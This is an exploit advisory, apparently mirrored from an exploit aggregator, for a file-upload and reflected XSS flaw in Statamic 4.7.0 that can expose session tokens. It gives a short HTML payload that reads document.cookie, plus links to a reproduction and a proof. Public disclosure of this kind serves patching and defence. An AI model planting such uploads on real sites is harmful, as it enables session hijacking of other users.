Share
## https://sploitus.com/exploit?id=PACKETSTORM:173619
## Title: statamic-4.7.0-File-Inclusion-unsanitized-extension-XSS-Reflected-hijacking-Token-session  
## Author: nu11secur1ty  
## Date: 07.13.2023  
## Vendor: https://statamic.com/  
## Software: https://demo.statamic.com/  
## Reference: https://portswigger.net/web-security/file-upload  
  
  
## Description:  
The statamic-4.7.0 suffers from file inclusion - file upload vulnerability.  
The attacker can upload a malicious HTML file and can share the  
malicious URL which uses the infected HTML file  
to the other attackers in the network, they easily can look at the  
token session key and can do very dangerous stuff.  
  
  
## Staus: HIGH Vulnerability  
  
[+]Exploit:  
  
```js  
<html>  
<script>  
alert(document.cookie);  
</script>  
</html>  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/statamic/2023/statamic-4.7.0)  
  
## Proof and Exploit  
[href](https://www.nu11secur1ty.com/2023/07/statamic-470-file-inclusion-unsanitized.html)  
  
## Time spend:  
01:10:00